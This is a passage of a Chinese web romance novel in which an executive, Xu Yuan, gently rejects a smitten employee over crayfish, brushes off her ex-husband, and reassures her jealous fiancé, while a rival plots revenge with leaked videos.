这只小猫看起来真的很小,可能还没有满月,看着灰色的毛,四只爪爪却是白色的,应该是蓝猫跟什么白色的猫生下来的串串,并不纯,也不知道被什么人狠心丢在这里。 “知道怎么养猫吗。” 宋观鱼摇头。 他是真的不懂,从小到大就养过金鱼,还养一只死一只,哪里会养什么猫啊。 灰色的小猫团子睁开眼,水汪汪的眼睛望着许愿喉间发出奶呼呼的喵呜声,许愿心尖微微发颤。 她其实很想把这只猫带回去养,但这是宋观鱼先遇到的,且这只猫跟宋观鱼有了羁绊,她带回去反倒不妥。 “这只猫跟你有缘,你可以带她回家吗。”思前想后许愿开口询问。 宋观鱼赶紧点头。 许总让他养他绝对养!这就是他和许总之间感情萌芽的见证! “先带你去宠物店给她买点必需品。”许愿见他这副傻乎乎的模样不由失笑。 宋观鱼立刻点头,眼睛都是亮晶晶的。 许愿才打算让他上车,就见宋观鱼捡起了地上的头盔,怀里还揣着那只小猫崽。 第308章 宋观鱼喜欢她 “你开摩托来上班?”看见放在地上的头盔,许愿不由皱眉她没觉得摩托车不好,只是这个天气小猫被他这么带着搞不好会生病。 宋观鱼捡起头盔,戴在自己头上。 “是呀。我喜欢开摩托。” 宋观鱼说的是实话。 他爹宋驰给他买了十几辆跑车,现在全部放在车库里吃灰。 许愿想到宋家少爷喜欢玩车的话忍不住挑了下眉。 一阵微凉的风刮过,呼呼作响,许愿夺过他的头盔,走向自己的车,“天有些冷,上我的车,买完东西我送你和小家伙回去。” 宋观鱼回头看看停放在角落,由自己亲手组装的爱车,脸一抹,怀着窃喜应道,“好,谢谢许总。” 许愿带宋观鱼去了附近的宠物店,猫砂猫粮猫窝猫咪零食猫抓板什么该有的全都买了个遍,宋观鱼没让许愿沾手,全都是宋观鱼主动搬进车子后备箱的。 等宋观鱼回来许愿已经刷卡付完账了。 “许总……这钱我付得起……” 宋观鱼有点尴尬,一只小猫他是养得起的。 “给小家伙的见面礼,没多少钱。” 许愿并不在意这些,只对他微微点头,宋观鱼就已经乐的眼睛眯起来。 许总就是善良,他抱着小猫崽乐颠颠的。 “这只猫还太小不能打针,等过段时间带她来打针,你这些天注意不要被她抓到。”许愿还是谨慎的提醒了句。 许总在关心我。 宋观鱼笑的眼睛都眯起来。 “许总我记住了!” 已经这个时间了,许愿问过宋观鱼的地址,是附近的高档公寓,听到他报了地址许愿微不可查的挑了下眉。 果然还是有点笨呼呼的,都已经撒谎骗人自己家道中落了却还有钱住这样高档的公寓? 许愿没戳破,只是路上听到宋观鱼肚子叫的声音,她透过后视镜看到他窘迫的神情开口道:“吃不吃宵夜。” “想!”宋观鱼眨巴着清澈的眼睛。 小猫崽好像也听懂了许愿问什么,紧跟着奶声奶气的喵呜一声。 看看这一人一猫如出一辙的欢快表情,许愿发出愉悦的轻笑:“走吧,去吃小龙虾。” 车子在夜市摊附近停稳,许愿穿过人潮。 明亮的灯火映照着她明艳动人的面容,引发不知名的心跳。 人群总在她经过的时候安静片刻,又在她远离后变得异常躁动,不时有人紧紧跟随在她身后,目光一错不错的望着她不肯移开视线。 宋观鱼不得不紧紧跟随,用自己高大的身体尽量多地挡住周围窥视的目光。 许总太美了,总让那些乱七八糟的人觊觎。 宋观鱼站在一旁像是一头占有欲极强的野兽目光凶狠的瞪向众人。 那群人看看宋观鱼的块头又看看自己顿时歇了上去要联系方式的心思。 许愿没在意这些,她穿过一个个摊位,找到干净宽敞的一家饭店。 服务员不用他招呼就已经急急忙忙擦干净桌椅,送上菜单,脸红红地站在一旁。 “我带了一只猫,可以坐在这里吗?”许愿礼貌询问。 服务员弯下腰,又擦了几遍桌椅,殷勤地说道:“当然可以,我们摊子摆在外面,经常有人遛完狗过来吃东西。带宠物没关系,只要看好了,不要打扰别的客人就行。” 许愿这才坐下,拿起菜单,开口询问宋观鱼:“你要不要喝啤酒?” “你开车,不能喝酒,我一个人喝没意思。”宋观鱼拉开拉链,把裹在怀里的小灰团子抱出来,放在一旁的椅子上。 “要吃点什么吗。”许愿将菜单递到他手边。 “许总先点。” 宋观鱼又将菜单推至许愿手边,许愿简单的叫了一杯热牛奶,其实这种店不会有热牛奶,还是店员跑到隔壁商店买了牛奶热了特意送上来的。 察觉到服务员的目光都一直落在许愿身上,宋观鱼有些不爽。 许愿垂下眼睫将菜单重新推到他眼下 :“你看我这样也知道我吃不了多少东西,你点吧。” 果然,宋观鱼看向许愿。 她很瘦,但不是那种没肉的瘦,是那种身姿婀娜的瘦,这阵子养回来些,他明明只是想看她是否瘦弱,却忍不住被她白皙的仿佛在发光的肌肤吸引了全部目光。 许愿曲起手指敲敲桌面:“点餐,服务员还在等着。” “哦哦,我马上就点。” 宋观鱼伸手拿过菜单,说道:“许总你能不能吃辣?” 宋观鱼心猿意马,把菜单翻得哗哗作响。 宋观鱼深吸一口气,他不过是看了这么几眼就觉得自己的心脏砰砰乱跳。 “我吃辣。”许愿用煮开的茶水烫碗。 “吃小龙虾吗。”宋观鱼问。 许愿好笑的看着面前的男人。 堂堂宋家大少爷倒是不挑食什么都吃,她点了下头“吃。” 宋观鱼叫了不少东西后又添了份小龙虾。 小龙虾很快端上桌,许愿和宋观鱼走进店铺洗手。 宋观鱼是个糙汉子,抹一点洗手液很快就出来了,许愿站在镜子前整理衣领和袖口,动作非常细致。 她不过是在整理衣袖宋观鱼都觉得画面美好的仿佛渡上一层淡淡的微光。 许愿从店铺里走出来,用纸巾慢慢擦手,动作优雅,让宋观鱼看的有些目光呆愣。 许愿仔细看了宋观鱼一眼,她想到盛景炎对她说的那些话。 盛景炎问她,喜不喜欢宋观鱼。 喜欢?欣赏更多一些。 可盛景炎为什么会问她这个问题。 难道……宋观鱼喜欢她? 许愿顿了下,目光落在宋观鱼的身上,细细打量他。 个子那么高身体那样壮的人的一个人,此刻却被许愿专注的目光弄得缩手缩脚,浑身不自在,古铜色肌肤都掩盖不了脸颊的涨红。 的确是喜欢的样子。 以前怎么没发现? 许愿一直以为,宋观鱼对自己的亲近都是源于生活和工作中的帮助。 后来知道宋观鱼的真实身份,她暂且认为是宋总不够关心他从她这里得到肯定,可现在看来,他或许是对自己动了心。 怪不得盛景炎会突然问她会不会喜欢宋观鱼 。 第309章 我有未婚夫了 是因为知道了宋观鱼对她的感情所以盛景炎在担心吗。 许愿心里有些发酸发堵,其实她宁愿盛景炎强硬一些告诉她不要再跟宋观鱼接触,他在生气他在吃醋,她宁愿盛景炎这样也不愿他将一切想法藏起来。 看到她和宋观鱼接触,盛景炎心底要有多酸楚。 许愿抿唇,但脸上毫无异样,慢慢走到桌边,她心里在思考要如何让宋观鱼死心。 她不想太突兀的提起这个话题,如果是她和盛景炎猜错了呢?也是有这个可能得不是吗。 宋观鱼见她回来连忙拉开自己身旁的椅子。 许愿脚步一顿,最终还是在椅子上落座。 “我给你剥虾。”宋观鱼戴上手套。 许愿也戴上手套。 “你先别动,小龙虾纲端上来很烫的,你别碰,我来剥就好,我皮厚不怕烫。”宋观鱼夺走许愿的手套,从盆里抓起一只虾,飞快剥壳,放进许愿碗里。 “趁热吃才好吃。”他笑的单纯无害,眼睛亮晶晶的,望向她时眼睛里都带着星星点点的光芒 。 这样的眼神太熟悉了。 她曾经就是这样看傅京礼的。 许愿垂眸,看着碗里有他剥好的虾肉顿了下,没有吃而是选择拿起另外一副手套。 宋观鱼皱着眉头看他,满脸无奈,“许总,你相信我,小龙虾真的很烫。你是不是不习惯别人给你剥虾?没关系的,你吃你的,别人不会说什么。” 许愿没有理会,把手伸向食盆,抓起一只虾。 下一秒,虾落回盆里,许愿飞快缩手,甩动指尖。 真的好烫! 宋观鱼有些想笑,但更多的还是担忧,连忙把许愿的手拉过去,摘掉手套查看情况,许愿都来不及阻止就已经被宋观鱼握住手查看指尖的伤。 “你看,指头已经红了,对面有药店,我去给你买烫伤膏。”宋观鱼摘掉手套,不等许愿回应就已经慌忙站起身。 他的恶劣心情不是因为许愿不领他的情一定要自己剥虾,而是因为许愿受伤了。 这种事,怎么能发生在他眼皮子底下! 看着宋观鱼心疼满溢的双眼,许愿终于确定,这份喜欢是真切的。 许愿的心情有些微妙,她倒不是排斥,只是觉得……没想到,但也在情理之中。 如果在傅京礼之前遇到宋观鱼这样的人,她或许会被他打动选择接受他赤诚的爱意,但一切都太晚了。 她已经遇到了此生挚爱。 不能继续下去了,要断了他的念想。 “皮肤有点发红,没被烫伤,你急什么。”许愿拉住宋观鱼的衣摆,嗓音里带着叹息。 那么高壮的一个人,被他细长的几根手指轻易掌控。 让他走,他就走,让他留,他就留,哪里会只是单纯的喜欢。 宋观鱼站在原地,拧着眉头,满脸担忧。 “真的没事?不疼吗?”他反复地问。 疼的大概不是许愿,是他的心。 “我还没那么娇气,吃你的。”许愿摘掉另外一只手的手套,命令道。 这句话比什么都管用,宋观鱼连忙坐下,戴上手套,抓起最大的一只虾,剥去硬壳。 短短几分钟,许愿碗里已堆满虾肉,而他自己的碗里却只有零星几个,还是许愿目光落到他脸上时他才象征性的在自己碗里放几只虾。 能为心上人服务,宋观鱼即使饿着肚子,一口都没吃,脸上也带着开心的笑容,闪亮的眼眸溢满快乐。 “宋观鱼,其实你不必替我剥虾。” 许愿将自己面前这碗虾肉推至到他面前,她语气认真:“你以后会遇到那个让你心甘情愿为你剥虾的人。” 宋观鱼剥虾的动作顿住。 他抬起头看向许愿,似乎是有些茫然,有些不明白许愿为什么这么突然的提到这件事。 “我结过婚,这件事你知道吗。” 许愿面对他直接揭开自己的伤疤。 她觉得宋观鱼现在这么纯爱的喜欢自己可能就是觉得自己是个没有结过婚的未婚女性,如果让他知道她和傅京礼有过一段婚姻,他一定会退缩,死了这条心的。 “我知道。” 宋观鱼喉结滚动。 “是他配不上你。” “许总是我见过这世界上最优秀最耀眼的人,他不配。” 宋观鱼当然知道傅京礼是许愿的前夫,他不是不在意,他只是觉得一段失败的婚姻不该困住许愿。 许愿笑了,浅浅地笑,一双漆黑水润的眼眸里光芒闪动。 “那你知道我有未婚夫了吗。” 许愿看着宋观鱼,嘴里却吐出残忍的话。 “我有爱人了。” “我有一个会为我剥虾的人,所以我不会吃你剥的虾,你明白了吗。” 她说的哪里是虾,她说的分明是爱,是人。 她想说,我有愿意爱我的人了,所以我不会接受你的爱。 他被拒绝了。 在他充满干劲一意孤行满腔热血都是真情的时候被许愿一盆冷水浇下来,他甚至连一句“喜欢”都还没有说出口就已经被许愿拒绝了。 她甚至拒绝他的时候都这样温柔。 “许总……你误会了。” 宋观鱼眼神闪烁:“我没有别的意思。” 他担心自己一旦真的说了喜欢,以后都会被许愿划清界限,只能隐忍的压下自己汹涌的感情。 他不知道许愿的未婚夫是谁,他会查清楚那人是谁的。 不管是谁,他是不会轻易放弃退后的。 “我只是觉得许总你的肌肤娇嫩担心小龙虾壳太硬划伤你的手。” 宋观鱼开始撒谎。 许愿没有戳破他的谎言,只是眸光沉沉的看了他几眼,“是误会那就最好了。” 许愿还是那副温温柔柔的模样,但说出来的话却不带多少温度。 宋观鱼在一旁支吾半天再也没说出一句完整的话。 许愿能感受到宋观鱼此刻的心情。 这种心情,许愿完全能够理解。曾经的他也是这样。 “快吃东西吧,吃完东西我送你和你的小猫咪回家。” 她没有一遍遍的提起自己有未婚夫的事,她想,只要宋观鱼有理智就该在他们两人之间划清界限,而不是继续在她身上投入更多感情。 第310章 只会收未婚夫的卡 宋观鱼从没想过自己还没有开口说喜欢就已经被间接的拒绝。 这顿宵夜吃的食不知味。 夜宵吃完了,许愿开车把宋观鱼送到一个中档小区门口。 “这里租金一个月多少钱?”许愿看着不远处的一栋楼。 “一个月五千块。”宋观鱼坐在副驾驶座,抱紧怀里的小灰团子。 他舍不得下车。 “交了房租,你一个月工资够用吗?”许愿也没赶他下车,而是开了窗户缝,透透风,她不提宋观鱼的身份,只是意味深长的问了这样一句 “我不抽烟不喝酒,只是打打游戏,够用。” 宋观鱼的副卡早就被宋驰停了,他现在用的确实是自己赚来的工资,这点他还是没有骗人的。 “你倒是很好养活。| 许愿眸色平淡的略过这边的公寓楼,也难为宋家继承人龟缩在这地方了,金尊玉贵长大的大少爷…… “也还好。” 宋观鱼目光一瞬不瞬的看着她,视线不曾移开。 “就是有时候玩游戏会氪金,忍不住想集装备皮肤。”他干咳一声。 他也没别的爱好了, 平日里除了喜欢极限运动和机械相关的就是玩游戏发泄,现在一直在盛世待着也只能玩游戏发泄发泄。 许愿垂眸:“有钱就存起来,别乱花,这可是你自己挣来的血汗钱不是吗。” 自己挣的和父亲给的是不一样的。 宋观鱼不知道许愿心中所想,突然开口加快语速说道:“要不然许总你帮我保管工资卡吧。我要用钱就找你申请,合理的开销,你给我拨款,不合理的开销,你给我扣住。我以前习惯了大手大脚花钱,根本管不住自己。” 他直勾勾地看着许愿,眼睛里的光芒干净又纯粹,似乎根本没有被许愿拒绝一般。 “许总你帮帮我。”宋观鱼声音里面都带着点恳求。 许愿看着面前的男人。 他身量很高,近一米九的身高,又高又壮,身上穿着的是盛世机械部门特定的工装,但他太壮,肌肉都快要将衣服撑爆,那张脸也是带着明显桀骜之意一看就是不好驯服的混不吝,像是会自由自在遨游在天际的雄鹰。 明明充满了野性的人,此刻却做出这副姿态,让她一时都有些心软,甚至有那么一瞬间,许愿真的很想接过他递来的卡,但她终究是一个太过理智的人。 到底是谁说宋观鱼没脑子是个莽夫的,许愿看他却是很有手段的,很会用以退为进这一招。 他不提喜欢许愿想追求她,而是拿出自己的工资卡求她保管。 什么样的人才能把控另一方的工资卡?这个社会上只有还有很小一部分家庭的人需要将全部工资上交到父母手上,多数都是丈夫将工资卡交由妻子保管。 这招用的多好。 许愿看着面前的男人委婉的拒绝。 “宋观鱼,如果这是我未婚夫的卡,我会收。” 但这是你的卡,我不会收,因为我们没有那层关系。 她又一次拒绝他了。 宋观鱼本来还在发亮的眼睛微闪了下,有些颓丧的收回自己的卡,他也觉得自己的心思有些过于明显了。 “我能请一天假吗。” 宋观鱼开口。 许愿能理解他现在的心情,她笑了下:“一天不够的话可以多休息几天。” 她还是这样温柔,温柔到让宋观鱼内心愈发酸涩。 离开前,宋观鱼还特地停下脚步提醒一句:“许总,我不在的时候一定要小心陆飞博。” 虽然今天的会议宋观鱼没有权限参加,但也听研发部的人提了几句,那个陆飞博明显不安好心。 “你为什么这么确定有问题的事陆飞博不是我呢。” “不可能的,许总是这世界上最好的人,绝不会背叛公司的。”宋观鱼的话语里面是对她满满的信任。 “万一我偷了公司机密,坐牢了呢?”许愿挑了下眉询问。 “怎么可能!许总绝对不会做那种事。” “我是说万一。” “没有万一。” “如果人人都说我是商业间谍,你也相信我无罪?” “我相信。”宋观鱼用力点头。 许愿沉默半晌,忽而低笑,叹息道:“回家去吧。” 她说的是未来容浔和陆飞博可能安到她身上的罪名,她不过是拿来逗一逗他,没想到他会为此着急红眼。 “许总,我这几天休息可能不在家,您能帮我照顾下小灰吗。” 他已经将小灰团子抱到她面前,许愿稍一低头就能看到小灰团子睁开了圆乎乎的琥珀色眼睛,她顿了下应了声。 “好。” 她对宋观鱼起的名字没有任何异议。 “进去吧。” 许愿抱着他捡来的猫开口。 宋观鱼有些恍惚的进了电梯。 夜风有点冷,这条路的灯光有些刺眼。 许愿站在灯下,她低着头揉弄着灰团子的头:“你爸爸给你的名字真敷衍啊。” 她抱着猫正欲上车就见到路灯另一头西装革履的男人,一如多年前见到他时那般,英俊冷漠。 是傅京礼。 她不知道傅京礼为什么会出现在这里,也不想知道他为什么会来。 他们之间早就已经结束很久了。 “许愿。” 男人嗓音带着明显的哑意。 “他又是谁。” 她清楚傅京礼问的是宋观鱼。 “你在监视我吗。” 许愿手抚摸着灰团子,声音冷淡:“你该知道我身边有警备队的人守着,傅京礼,你要继续乱来吗。” 她抬起头,扬起笑脸,笑吟吟的:“我现在身份不一样了,你监视跟踪我,是违法犯罪行为,可能会被判作间谍的你懂吗。” 她把控着盛世和盛华,且现在与段星河有合作,段星河研究的东西许愿都有参与,所以跟许愿交涉的人都会被层层筛选,身份可疑的根本没办法到她面前。 她不回答傅京礼的问题,声音里面带着笑意,但却尽是凉意。 “许愿,你一定要这样跟我说话吗。”傅京礼缓步走近她,因为他的接近,刑从景已经暗中出现守到许愿身后,眼神冷冽。 傅京礼记得他,上次就是他守在许愿身边,警备队的邢队。 第311章 吃醋 傅京礼看着许愿,许愿也眼含笑意的看着他,不带半分感情。 “你不肯接受我去选择了盛景炎,现在盛景炎已经废了,你不要我却选择那个男人吗,许愿,他能给你什么。” 傅京礼垂眸目光落在她怀中的灰团子上,灰团子似乎感受到他的不喜在瑟瑟发抖。 “他给你的礼物都是这种捡来的。” 他果然一直都在关注她,现在还来监视她,不然怎么会知道自己身边多了个宋观鱼。 许愿抚摸猫咪的动作停顿片刻唇角的笑意都敛去了。 “那又跟你有什么关系?” “傅总忘记你的身份了吗,你只是我已经离婚的前夫,前夫没有权利干涉我做任何事。” 她又拿“前夫”来刺激他。 傅京礼不由握紧拳,目光冰冷的盯紧她。 “你一定要来刺激我吗。” “这不是刺激, 我只是在阐述事实。” “我真的很好奇你为什么还敢来见我,许宁那件事是你压下去的不是吗。” “她永远不知道悔改的在伤害我伤害我身边的人,我们一旦反击你就会花大笔价钱将这件事压下去,我还没有找你兴师问罪你却来找我。” “傅京礼,你哪里来的脸见我。” “傅长海和许宁被你这样死死维护,你不配来见我。” 话落,许愿上了车,看也不看窗外一眼,将灰团子放到一早准备好的小猫窝中发动车子。 刑从景见许愿离开自然跟上。 空旷的马路上只留他一人。 他站在路灯下,影子被拉的很长,就连影子都染带上几分寂寥之意。 他点了根烟抽着,抬头时对上一双野性十足带着戾气的黑眸。 宋观鱼回到家没敢开灯在窗帘后面偷偷看着许愿,却见到许愿和傅京礼在说话,他记得傅京礼,许愿的前夫。 他又来找许愿做什么?后悔了吗,想求复合?凭什么? 宋观鱼带着恶意的瞪着他,傅京礼只略扫一眼便嗤笑的移开目光。 在他心里宋观鱼还不配上桌,现在唯一能与他抗衡的就是盛景炎。 …… 许愿的车子开出一段距离,她把车停在路边,沉默地看着没有星星的夜空。 片刻后许愿重新启动车子。 与此同时,待在家里整理文档的陆飞博收到两段视频。 【这些东西你应该用得上。】 信息阅后即焚,消失无踪。 陆飞博快速保存视频,然后才打开查看。 第一段视频里,许愿在公司停车场内与高大男人一起看着一只小猫,两人一起很是般配,高大男人正是宋观鱼,他眼神缱绻全都是爱意的望着许愿。 第二段视频里,许愿和宋观鱼在一起探讨工作上的事,宋观鱼那个动作像是要亲吻她一般,视频有些模糊,但能看清楚视频中的主人公是许愿。 两人动作暧昧,亲密地宛如情侣。 陆飞博仔细一看,忍不住低笑起来。 许愿的未婚夫不是盛景炎吗?口口声声利用盛景炎掌控盛世,下一秒就开始勾搭宋观鱼。 这个高大男人正是宋驰的儿子宋观鱼。 许愿真有本事,竟然把对方也搞到手了。 她是知道了宋观鱼的身份,觉得有利可图?所以想攀更高的高枝? 盛景炎是恋爱脑没错,但是她还记得盛景炎当初有多心狠,如果让盛景炎知道许愿给自己戴了绿帽子……他怕是吃了许愿的心都有,根本不可能继续维护她! 被戴了绿帽子,怎么能忍? 到那时他不仅会让盛景炎报复她,她甚至还会让全网都知道许愿是个人尽可夫的女人。 而宋驰如果知道许愿有了未婚夫还勾搭伤害自己的儿子也绝不会放过她。 现在许愿有多风光,将来就会多悲惨。 当一个人沾了酒色财气,她能力再强也只是一颗外表好看的玻璃珠。 他甚至什么都不用做,只要将她拿到高处再放手,她自己就能摔得粉身碎骨。 许愿加诸的耻辱,陆飞博永生难忘。 等到合适的机会,他必然会还回去。 许愿回到公寓时间已经不早了,盛景炎还没休息,他习惯了等许愿回家再休息。 终于等到许愿,却见许愿怀里抱着一个小灰团子,刑从景拎着猫窝猫笼子和一些猫咪用的东西跟在后面。 “买了猫?” 盛景炎开口询问。 刑从景默默地看了许愿一眼,什么都没说的放下东西离开,权当自己是透明人。 “不是买的。” 许愿将小猫咪的猫窝放到猫笼中,又摆好了猫砂盆和软垫。 她倒是不介意将小猫咪放出来,只是她太小了,但是爬到哪里找不到或者再受伤。 “宋观鱼捡的。” 盛景炎眉心微不可查的跳了下。 “宋观鱼捡的猫被你带回家来养?” 本来看小灰团子还挺可爱的盛景炎面色微僵,这次再看那只灰团子是怎么看怎么不顺眼了。 许愿摸过猫特地去洗手清洁才走到他面前,将自己贴进他怀中,两条纤细的手臂抱住他的脖子在他颊边贴了贴。 “吃醋啊。” 她早就猜到带着猫咪回家盛景炎会什么样了,她就是有点想逗他。 盛景炎没说话,就看着她。 许愿也不怂,笑眯眯道:“今天我跟宋观鱼一起去夜市吃了烧烤和小龙虾,这孩子还挺实诚的,担心我烫到手给我剥了满满一碗的虾肉,很贴心。” “是不是很贴心。”许愿问他。 盛景炎看着她,冷不丁开口:“我也会剥。” 她这副模样许愿眼底的笑意更多的:“不仅如此,他还要把工资卡交给我呢。” 她这次逗的还挺过火的。 盛景炎听到工资卡三个字眼皮都跟着一跳。 工资卡那都是丈夫给妻子的,宋观鱼那小子是疯了吗。 盛景炎闷声:“我的卡不是都在你那里?你都知道密码。” 别说工资卡了,就是动产不动产全部的家产都已经写在自己遗嘱里面,不管似乎现在还是以后,他的东西都是许愿的,哪里是那一张工资卡能比的。 盛景炎私心里给自己加了很多分。 他这个反应实在是太可爱了。 第312章 盛景炎,答案呢 许愿看到他这副模样笑意就止不住。 “在生气吗。” 许愿明显看到男人眼睫跟着颤了颤。 盛景炎是那种相貌十分优越的男性,他与傅京礼和黎云笙自身带着的那种冰冷淡漠的感觉全然不同,他的五官偏向于西方那种立体硬朗的,但眉眼却又精致,一双深邃的桃花眼总给人一种看任何人都会很深情的错觉。 他长了一张坏男人的脸,但此刻却又带着一种难以言喻的破碎感。 许愿伸出手很轻很轻的点了下他的眉眼。 “怎么不回答我?” “某个人前几天不是还想着说认为宋观鱼身份家室相貌都跟我配得上,想要放手让我去跟其他人在一起吗?怎么现在哑巴了?” 某人不吱声,低垂着眼眉,整个人明显像是泄了气有点受气包的样子。 “我记得你最是会长篇大论跟我讲道理了,怎么不说了?” “宋观鱼可都已经表态了,他真的好爱我。” “你真的不想知道我的回答吗?” 许愿贴进她,额头抵着他的额头,两人相贴的太近了,呼吸交错着暧昧缠绵。 她不喜欢喷香水,身上总是很清爽的带着点牛乳香甜的气息,他眸光暗了几分,却仍然不肯开口。 她的手身上去揉了揉他的耳朵,男人的耳朵肉眼可见的红起来。 “盛景炎,我再问一次,你真的希望我跟其他男人离开吗,就像宋观鱼那样的,你希望我离开吗?” 她手上的动作很轻很轻的抚上男人宽大的手掌,然后下一秒与他手掌相握交缠。 “我会跟他这样牵手,像最亲密的爱人。” 她松开盛景炎的手,盛景炎顿住低头望着掌心还存在的温热触感,下一秒就被许愿整个扑进怀中,她的身体柔软,许是才从外面回来头上还带着点淡淡的凉意。 “我会像这样与他拥抱,像恋人那样相拥。” 盛景炎身体僵硬着,感受到她的娇软的身体逐渐远离,指尖忍不住轻轻摩挲着轮椅扶手才终于按捺住将人重新抱回来的冲动。 许愿抬眸,盛景炎似是想要躲闪她看过来的目光。 许愿不许他躲。 她伸出手带着点强迫意味儿的捏住男人的下巴然后像个女流氓那般凑上去,唇贴在男人唇上,舌尖探进去,只一瞬便感受到男人的回应,她却只是这样简单的亲吻后便残忍的停下与他的亲密。 她的身体稍稍移开,看着他。 “我会像这样与他接吻,像是彼此挚爱那样,虔诚亲吻。” 许愿的手抚过男人的侧脸,声音中都带着几许沧桑之意。 “盛景炎。” “你希望这样吗。” “你想让我跟其他男人握手、拥抱、亲吻,甚至做更多你都没有做过的事,这是你期盼看到的吗。” 许愿承认自己其实是有些卑鄙的。 她也没有喝酒,脑子也很清醒,或许就是因为宋观鱼的冲动影响了她让她克制不住的也想冲动一下。 她不愿看到盛景炎仍然是这副模样。 她想听他再次说爱她。 “盛景炎,答案呢。” 她水润的黑眸像是盛满了秋水星河,河内闪过清浅的水波,期待着他的回应。 盛景炎黑沉的眸中闪过几分挣扎之意,恍惚的透过面前的许愿,通过她那些话看到了未来。 看到她与自己渐行渐远,他只能像个局外人坐在轮椅上远远看着她奔向其他男人身边。 看到她跟其他男人亲密无间做着恋人爱人才能做的事,看着她娇媚甜软的笑容在其他男人面前绽放…… 不行。 不可以。 他果然还是做不到这样大度的放她离开。 她是他的爱人,他不要放手。 盛景炎嗓音沙哑的单手将人重重的箍进怀中,死死的搂着。 “阿愿,是我错了。” 他嗓音中的哑意太过明显。 “我不能接受你离开我,我不能也不想……所以别答应宋观鱼好吗。” 许愿觉得此刻的盛景炎太脆弱了,好像稍一用力他可能就要碎掉了。 许愿握住他的手,紧紧握住,能感受到男人掌心的湿热。 他在紧张。 “想不想知道我对宋观鱼说了什么。”许愿重新贴近他,将自己整个人依偎到他怀中,然后头枕在他肩侧,声音很温柔的带着笑意。 “他想给我剥小龙虾,我告诉他,他以后会遇到那个他想剥虾照顾的人,而我已经有未婚夫了,所以我不会接受他的示好。” 盛景炎眼睫轻颤了下,本来晦涩的黑眸亮了一下,像是重新燃起希望。 他望向许愿,似乎在期待着许愿说后面的话。 许愿的手揪着他的衬衣扣子把玩,声音里带着糯糯的软意。 “他说想要把工资卡交给我,我没有收,我告诉他我只会收我未婚夫的卡。” 许愿从他肩上挪了挪,唇凑在他耳边,很轻的呼了热气,他的身体都忍不住的跟着酥软了。 “满意了吗,未婚夫。” 未婚夫说的是盛景炎。 她是在安抚他。 “你故意的。” 盛景炎抱紧她,用那种几乎要将人揉进自己怀中的力道抱着她。 许愿眼尾弯弯的:“我就是故意的,不然某些人还要继续将我往外推呢。” “所以未婚夫满意我的答案吗。” 许愿笑吟吟的,声音却带着几分蛊惑之意,盛景炎眼神微暗,手掌扣在她细嫩的腰肢上将人紧扣在怀中,许愿没有反抗依着他,下一秒就被男人叼住唇瓣亲吻,那样带着浓烈情感的热吻,夹杂着炽热的几乎要将她灼伤的汹涌爱意。 她忍不住哼出声有种自己下一秒就要被男人吞之入腹的错觉,才有了细微的动作便又被男人大手捏住后颈摩挲,让她只能这样被动的接受他的亲吻。 他很少这样。 在许愿面前他虽然偶尔是吊儿郎当的模样但更多的是成熟稳重,从未像现在这般强势,犹如一头随时会冲出牢笼的猛兽。 或许说,这才是真正的他。 不知过了多久,许愿整个人疲软的瘫倒在他怀中,软趴趴的将脸贴在他肩上蹭了又蹭像是在撒气,下一秒又贴在他怀中,脸蛋红扑扑的,整个人却懒洋洋的。 第313章 他失恋了 “盛景炎。” “嗯,我在。” 他回应。 “盛景炎。” 她又在喊。 “嗯,我在听。” 他仍然回应,手却抚弄着他柔顺的长发,眉眼之间都是温润的笑意。 “我当你是想通了。”许愿留下这样一句话。 我当你是想通了,想通了不会继续钻牛角尖要将她推给其他人照顾,想通了要跟她一直在一起…… 他明白她的意思,眼底的温柔几乎要溢出来。 他俯身,在她额头印下虔诚一吻。 “嗯,我想通了。” 我不会束缚你。 如果你能治好我,那我会向你求婚,我会给你我能给你的一切,如果在这期间你爱上其他人我也不会困住你。 我爱你,但你是自由的。 我一直都想的很清楚。 我爱你,但我希望你永远自由,我希望你留在我身边不是因为同情愧疚而是因为爱。 这是他唯一的最能拿得出手的爱,仅献给她。 许愿这一晚睡得安稳,整个人都要赖在盛景炎怀中,还要让男人的手臂环住自己才肯睡。 盛景炎哭笑不得却也只能依着她。 …… B 市。 深夜,宋驰已经入睡,大半夜的听到别墅的大门被拍的砰砰响,家中值守的保安开门就看到多日未归家本该在A市的糟心大少爷回来了。 “少爷。” 保安有些拘谨,正要再说点什么,就见宋观鱼不管不顾的冲上楼,直冲宋驰的房门,冲过去就敲门。 宋驰:“……” 这个混蛋小子。 大半夜的这混账东西自己不睡觉也不让他睡觉了是不是? 他倒要看看这混小子又想整什么幺蛾子。 宋驰憋着起床气开门,结果就看到自己自小娇惯长大作天作地的B市小霸王竟然红了眼睛。 不是? 怎么回事儿啊? 谁欺负他儿子了! 谁敢欺负他儿子啊! 宋驰心里那口气“噗嗤”就扁了,他有点心酸难耐。 “出什么事了让你大费周章的大半夜回来找我。” “是不是在A市被人欺负了,哪家二世祖欺负你,跟爸说,我饶不了他们老子。” 欺负他儿子的肯定不是什么好东西。 他儿子是他看着长大的,这小子除了疯一点那是有点坏心思都没有,就是看到棵花花草草他都是舍不得踩的啊,他如果委屈了,那肯定是别人的错。 宋驰反思了好一会儿,都已经打算好怎么折腾那些欺负自己儿子的人了,结果就听到宋观鱼红着眼睛开口。 “爸,我失恋了。” 宋驰:“……” 宋驰觉得自己有那么一瞬间幻听了。 他刚听见什么了? “失恋?你都没恋过你失哪门子的恋!” 宋驰这句话简直是直直的戳到宋观鱼的心窝上。 是啊,他都没恋过,失哪门子的恋呢。 他都没有跟许愿在一起过,许愿就已经看透了他的心思,哪怕拒绝都是那样温柔。 宋观鱼内心愈发酸楚,他坐到沙发上,双手揉弄着自己的头发,一头短发被他蹂躏的不成样子。 他很痛苦。 宋驰看他这副模样心里也不好受,到底是自己唯一的儿子,他自然在意。 “你喜欢谁你告诉我,我这就去登门拜访。” 宋驰还觉得或许是宋观鱼没有表露身份所以对方觉得门不当户不对。 “其实也可以理解,你现在在盛世就是个搬运工,没有家长愿意自己的孩子嫁给一名没有前途未来的搬运工。” “等我去好好解释解释,对方会原谅你的隐瞒或许会给你个机会。” 就算不给机会也要花钱让对方给个机会。 宋驰小算盘打的很响。 宋观鱼看了他许久,好半晌才开口:“她是许愿。” “许愿啊,许愿的小姐是吧,等爸让人准备准备好登门拜访……你等会儿?你喜欢谁?!” “你喜欢许愿!” “我让你去盛世就是想让许愿带你,没想到你还喜欢上她了!你疯了吗!” 如果是别的女人宋驰还能用肯定的语气说自己能用钱或者其他东西打动对方跟自己儿子在一起。 但若对方是许愿那就难办了。 他是资本,许愿也是资本。 